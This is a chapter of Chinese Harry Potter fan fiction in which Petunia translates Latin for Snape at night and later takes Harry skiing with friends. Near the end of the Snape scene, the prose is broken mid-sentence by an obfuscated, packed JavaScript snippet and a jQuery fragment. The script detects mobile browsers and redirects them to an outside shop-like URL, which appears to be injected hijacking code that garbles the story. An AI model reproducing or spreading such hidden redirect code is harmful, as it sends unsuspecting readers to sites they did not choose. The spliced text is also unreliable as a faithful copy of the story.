佩妮凝神看了一会儿，才发现那只是一颗石子，一节指节大小，静静地躺在月光照射下的石砖路面上。
起初她以为那是一颗钻石，皎洁的月光照在其上，使它折射出宛如钻石般的银色光芒。
待她走近了，才意识到犯了错，那是一颗再普通不过的石子。
它的外形有一些尖锐，若是不小心踩上去了，肯定会硌得人脚底生疼。
佩妮走过去，伸出脚，把那石子从路面的正中央，拨到了路边去。
鞋尖从裙摆的下缘伸出来，佩妮动了动脚尖，看见月光既像一条洁白的绸缎又像一条雪白的河流绕过她的鞋尖，一路流淌到了石砖地上。
月光在亲吻她的鞋尖。
这是她脑子里的第一个念头。
把这句话记到笔记本里。
这是她脑子里的第二个念头。
但她抬起头看了看深蓝色天鹅绒毯的天空上那轮又大又圆的月亮，把从肩头滑落的背包带子重新推回到肩膀上。
快来不及了。
她想。
她喜欢晴天，晴天在科克沃斯总不多见。
但也许——也许也在为她庆祝把哈利送去暑期寄宿式学习营的日子，科克沃斯一连好几天都是晴天。
她一直睡到太阳照到眼睛上，才不情不愿地从温暖又舒适的床上爬起来，恋恋不舍地坐在床缘回味着昨晚的一夜好梦。将鸡蛋夹进面包片里，胡乱塞进几片蔬菜，佩妮一边吃着随意组装的三明治，一边打着哈欠将哈利胡乱停在客厅里的玩具汽车们踢到“停车场”的界限里。等洗衣机停止轰隆了，再从洗衣房拿出来哈利冬天的衣服还有他的毛毯，挂到了草坪里的晾衣架上。
草坪上摆放着大大小小的花盆，白百合、忍冬、车矢菊……她戴上手套，把一盆盆鲜花从阴影处搬到阳光下，有新的守墓员接替了她的工作，但往墓园送花的习惯却一直保留了下来。
白色蝴蝶在鲜花之间飞舞，随后落在被哈利漆成彩虹色的邮箱上，待佩妮靠近时又扇扇翅膀飞远了。
佩妮从邮箱里把那叠信拿出来，抽出水电账单，把广告扔进垃圾桶，再把玛莎、伊索尔德还有她的朋友们寄给她的信拿出来，最后一封是一个有些特殊的信封。
泛黄的羊皮信纸上只有一句简单的墨色笔迹。
今日开始以及接下来每周三，周五，晚上19点，一切照旧。
落款是一个日期，其他什么也没有了。
佩妮看了一眼信纸上的落款时间，暗自庆幸她今天及时把邮箱里的信拿了出来。
巫师为什么不能采用更加先进一点的通讯手段呢？比如给她打个电话，但算了吧——蜘蛛尾巷显然连电也没有。
别抱怨这个报酬不菲的活计，佩妮，她对自己说。
经过初期的几本合作后，她便向雇主委婉地提出了能否涨一点价格的需求，她认为她的能力可以值得更高的回报，如果他勃然大怒——但出乎她的意料，雇主只是裹在一身黑袍里，冷冰冰地看着她，并答应了她的请求。
又过了几本，她大着胆子再次提了一档的价格，仍旧出乎她的意料，雇主也答应了，直到反复的几次底线试探后，价格达到了一个令她相当满意的程度——但认为她的翻译水平也绝不辜负雇主的一番期待，毕竟她有着世界上最好的拉丁语老师。
对雇主好一点，佩妮心想，在提供完地板清洁服务，等她等到在沙发上睡着的哈利，口水快要滴到沙发上时，她温柔地唤醒了哈利，擦掉了他嘴边的口水。
等哈利再长大一点，她便打发他让他晚上去索菲家找西比尔玩，等她结束她的工作，她再去把他接回来。
屋内响起了一阵猛烈的电话铃声，佩妮把这张从蜘蛛尾巷寄出来的羊皮信纸收好，回到了屋子里头。
“嗯嗯，好的，哈利，”她把话筒夹在面颊和肩膀之间，伸出手从桌上的零食碗里摸出一颗柑橘味的糖果，拆开包装纸塞进嘴巴里，“听起来你和你的新朋友相处得都很不错，他们喜欢你分享给他们的绘本是吗？一会儿你们要去踢足球是吗？”
“不不不，姨妈一直都很想你，昨天晚上姨妈想了你一整个晚上，以至于一夜都没有睡着呢。”
话筒那边吵吵嚷嚷的，哈利怕佩妮没有听清楚，对着话筒很大声地喊了一句什么，他的声音快把佩妮的耳膜给震破了，但佩妮握着话筒，声音柔和了下来：“我也爱你，哈利。”
她对着话筒说：“不准挑食——吃甜品之前要把西兰花吃了，晚上不准打手电筒躲在被子里看绘本……”
“姨妈，足球赛快开始！再见！”哈利短促地尖叫了一声，那边把电话挂断了。
佩妮捏着话筒——等哈利回来，她会好好教导他，让他意识到在姨妈没有说完话之前，就把话筒挂断的代价。
她把话筒挂上，将客厅的窗帘都拉起来，让阳光照彻整个客厅。
电视机打开，把动画片频道调成她喜欢的音乐台。
把煮好的水果茶，还有那盘柑橘味的糖果摆在手边，佩妮窝在沙发上，打开那本新买的小说，一头扎了进去。
等到合上小说的尾页，佩妮抬起头，才意识到窗外已然华灯初上。
她看了一眼墙上的挂钟，低咒了一句，从沙发上跳起来，胡乱收拾了一下，便拿起钥匙推开大门匆匆跑了出去。
所以别玩了，你要迟到了。
她在心里对自己说，但心底里的那个声音告诉她。
只让月光亲吻一只脚尖是不公平的。
于是她从裙摆下伸出另一只脚的鞋尖，让月光也从其上流淌而过，才心满意足地顺着石砖路跑进了道路的深处。
她刚抬起手要敲门，屋门就自动打开了，烛光从大开的房门里映照出来。
她迟到了吗？但一楼如往常一样，见不到任何人影，于是佩妮侥幸地想，她应该没有迟到。
巫师应该有自己独特的查看时间技巧，所以他们一点也不需要挂钟。
佩妮刚走进房间，房门砰地一声就在她身后关上了。
还是那个不算大的客厅，蜡烛的火光从头顶上打下来，照亮室内的布局，旧扶手靠椅还在那儿，但沙发不见了，换以一张棕色的木桌，上面放着一本古旧的书籍，一双皮质手套，一打羊皮纸，一只羽毛笔还有墨水瓶。
佩妮径自坐到那个旧扶手靠椅上，从包里掏出她的拉丁语词典和笔记，从桌上拿起那双皮质手套戴上去，展开羊皮纸，翻开了那本古旧的书籍。
从她进门到坐下，这个房间里没有第二个人出现，就好像除了她没有别人似的。
但佩妮知道，他就在这个房间里。
因为那一次——
——但那一次纯粹是她自己的问题。
一点坏习惯——在敲定一个她拿捏不定的词语变格，以期厘清那句复杂句子的语序时，她下意识摸出了烟盒和打火机，那天哈利不在呢。
就在打火机亮出一丛小火苗时，一抔凭空而出的清水瞬间浇灭了她左手的那丛火苗。
清水淋了她一个激灵。
从空中飘下来一张纸。
No cigarette！
清水和飞在空中的纸张一下就不见了，被弄湿的羊皮纸和桌面也转瞬变得干干净净，只有她的衣袖湿漉漉地贴在她的手臂上，提醒她她干的坏事。
好吧。
但这是个好提醒。
她要被欲望所控制吗？
出门时，她把她身上的打火机还有香烟全扔进了垃圾桶。
“喂，今天的章节我翻译完了。”佩妮站在一楼的楼梯口，对着二楼黑洞洞的入口大声喊。
“喂，你听到没有，我要走了。”
“你不下来查看一下吗？”
楼梯间浮现出一团漆黑的身影。
他慢吞吞地走下楼梯，烛光一点点照亮他一张苍白的面容，黑色眼珠没什么感情地看着她。
黑色的头发，黑色的眼睛，黑色的扣到最上面一颗扣子的衣袍——哦不对，今天他穿的是一身深蓝色的外套，灯光不算明亮，因此看错了倒也不能怪她。
“下次能把桌子移到窗边吗？” 佩妮拉开门，看见门外撒了一地的银白色月光，“如果推开窗，抬头就可以看见月亮。”
斯内普从桌子上拿起了她留下来的羊皮纸，听见她的话皱起了眉：“不要一边吃糖一边对我说话，你嘴里的柑橘味快要扑到我的眼睛里了。”
“……？”他哪只眼睛看到她在吃糖了，但他的话提醒了她。
佩妮从她的包里翻出了一小包被她包装好的柑橘糖：“送给你的礼物，在伦敦就想给你了，但你跑得太快了。”
佩妮把那包糖翻过来看了一下，又凑到鼻尖仔细地嗅了嗅。
她确定包装袋没有破，哪里来的柑橘味。
他并不伸手，就站在书桌旁，烛光照不到的阴影里，她看不清他具体的神情。
佩妮走了过去。
“那天有狐狸在追你吗？”
“狐狸？”他露出一副狐疑的神情。
“那天你逃跑的时候，就好像有狐狸在追你一样。但是走在伦敦的街上，有时候确实能看见狐狸。”
“毛茸茸的狐狸，狡猾的狐狸，火红又蓬松的尾巴。”
在斯内普的视线中，佩妮知趣地闭上了她的嘴巴——佩妮，对你的好雇主好一点，别老挑战他的极限。
“我假设——”
“我知道你要说什么，这里是科克沃斯，不是伦敦，这里没有狐狸。”
“……”
佩妮咯咯笑了起来，在她的好雇主耐心耗尽把她彻底扫地出门之前，把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013864|177776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那包糖放在了桌子上——如同之前哈利和她每次上他这里来时，都带来的礼物一样，既然给出去，便随他处置了。
“再见。”她对站在阴影下的他眨了眨眼，转身推开门，走了出去。
既然来时没有打招呼，总还是要在离去的时候说声再见，这才显得礼貌。
狐狸？
可没有什么狐狸在追逐他。
他动了动手指，大门在她身后砰地一声关上了。
佩妮把哈利带到滑雪台上的最高点，看落日粉色的余辉与雪地上白皑皑的光芒相交辉映。
等最后一点夕阳沉到地平线下，哈利牵着佩妮的手，两个人冻得哆哆嗦嗦牙齿打颤地回到了滑雪台下的餐厅里，与在那儿等他们的伊索尔德还有埃莉诺汇合。
封闭的门窗，燃烧的炉火，穿着厚厚滑雪服熙熙攘攘挤在一起的人群，热量很快回到了他们的身体里。
佩妮与伊索尔德翻看着菜单。
“哈利好饿，哈利能吃得下一整个牛肉汉堡，一份炸鸡翅还有一整份大薯条。”
“不行，你姨妈说你需要吃蔬菜，哈利，薯条要换成沙拉杯。”伊索尔德指着菜单上的沙拉杯对哈利说。
“没人会喜欢吃那玩意儿的！”埃莉诺先替哈利叫了起来，“别纠结了，就吃我给你们点的东西！走，哈利，埃莉诺带你去点餐。”
在伊索尔德和佩妮都没有反应过来时，埃莉诺一把抢走了菜单，抱起了哈利，冲进了点餐的队伍里。
“你的眼镜是怎么一回事？”站在挤挤攘攘排队的人群里，埃莉诺低声问哈利。
“嘘，”哈利把食指竖在了他的唇边，“不要告诉姨妈。”
他的眼镜断了一边的眼镜腿，临时拿胶布缠了一下，佩妮从暑期学习营把他接回来时便发现了，但他告诉佩妮那是踢足球时不小心摔断的。
埃莉诺急着要赶在新学期开始前，带哈利去滑雪，佩妮只能等到回程再去给他重新配一副。
“有一个讨厌又可怜的男孩，要抢走我们的龙与地下城卡牌。”哈利小心地附着在埃莉诺的耳边对她说，“一开始我想同他讲道理，把我们的卡牌拿回来，但是他不肯，我试图去拿回来的时候，他把我推倒了，眼镜掉到地上。”
埃莉诺的脸一下黑了起来：“你没有打回去吗？”
“没有，安娜老师把我们分开了，还把龙与地下城还给我了，眼镜腿是安娜老师给我绑上的，我很喜欢她，我不想给她添麻烦。”
“明年别让你姨妈送你去那个暑期学习营了。”
“不行，我们约好了明年还要一起出发去剑湾。”
“明年那个孩子还在吗？”
“有可能。”哈利推了推眼镜。
埃莉诺抱着哈利，眼神时不时撇着佩妮和伊索尔德，随时注意着她们会不会起身走过来：“回科克沃斯后，我教你几招，明年如果那个孩子还欺负你的话，你就用我教你的这几招，把你的拳头塞进他的鼻孔里。”
“不好吧，埃莉诺，那个孩子家可有钱了，我会给姨妈带来麻烦的。”哈利有一些犹豫。
“别人都欺负到你头上了哈利，”埃莉诺语重心长地看着哈利，“不要担心你姨妈，你只管把你的拳头塞进欺负你的人的鼻孔里，剩下的一切就交给你的姨妈，等麻烦找上你姨妈，你姨妈也会把她的拳头塞进欺负她的那些人的鼻孔里的。”
哈利还在犹豫，但是队伍已经排到他和埃莉诺了。
“女士，还有这位可爱的先生，你们要点些什么？”店员说。
“超大份牛肉堡，大份薯条，还有一对奥尔良烤鸡翅，不要一点蔬菜，噢，还有这几份套餐也来一份。”埃莉诺把哈利喜欢吃的套餐都点了一个遍。
哈利喜欢埃莉诺，哈利决定相信埃莉诺说的每一句话。
等佩妮看着端着托盘——托盘上食物已经推成了小山——的哈利，摇摇晃晃地走到她们的餐桌上时。
“哈利，”佩妮狐疑地问道，“你刚刚和埃莉诺偷偷摸摸在说什么？”
“嘿，佩妮！你为什么不先夸夸他呢？哈利一个人端了这么多食物！、你的，伊索尔德，还有他自己的，他甚至还听你们的话点了一个蔬菜杯呢。”埃莉诺指着一堆肉食中的一小杯蔬菜杯，语气夸张地对佩妮说。
而哈利则用那双亮晶晶的绿眼睛期待地看着佩妮和伊索尔德。
“你真是太棒了，哈利！”伊索尔德先忍不住俯下身，从哈利手中接过了托盘。
而哈利也一头钻进了佩妮的怀里，指着桌上的食物，告诉佩妮哈利知道哪些是佩妮喜欢的，那些是伊索尔德喜欢的。
好吧，虽然总感觉哪里不对，但哈利举起了番茄酱，请求佩妮帮他撕开，以免沾上他的领口，佩妮只好低下头接过他手中的袋子，一时也忘了自己要说什么。